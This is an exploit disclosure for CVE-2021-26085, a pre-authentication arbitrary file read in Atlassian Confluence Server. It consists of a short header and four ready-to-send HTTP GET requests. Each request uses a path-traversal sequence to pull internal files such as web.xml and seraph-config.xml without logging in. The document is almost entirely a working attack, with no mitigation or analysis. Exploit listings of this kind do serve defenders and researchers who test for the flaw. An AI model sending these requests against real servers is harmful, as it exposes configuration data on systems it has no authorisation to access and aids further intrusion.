Atlassian Confluence Server 7.5.1 Arbitrary File Read

`# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability  
# Date: 2021-10-05  
# Exploit Author: Mayank Deshmukh  
# Author email: [email protected]  
# Vendor Homepage: https://www.atlassian.com/  
# Software Link: https://www.atlassian.com/software/confluence/download-archives  
# Version: All < 7.5.0 versions before 7.12.3  
# Tested on: Kali Linux & Windows 10  
# CVE : CVE-2021-26085  
  
POC #1 - web.xml  
  
GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1  
Host: 127.0.0.1:8090  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
POC #2 - seraph-config.xml  
  
GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1  
Host: 127.0.0.1:8090  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
POC #3 - pom.properties  
  
GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1  
Host: 127.0.0.1:8090  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
POC #4 - pom.xml  
  
GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1  
Host: 127.0.0.1:8090  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
`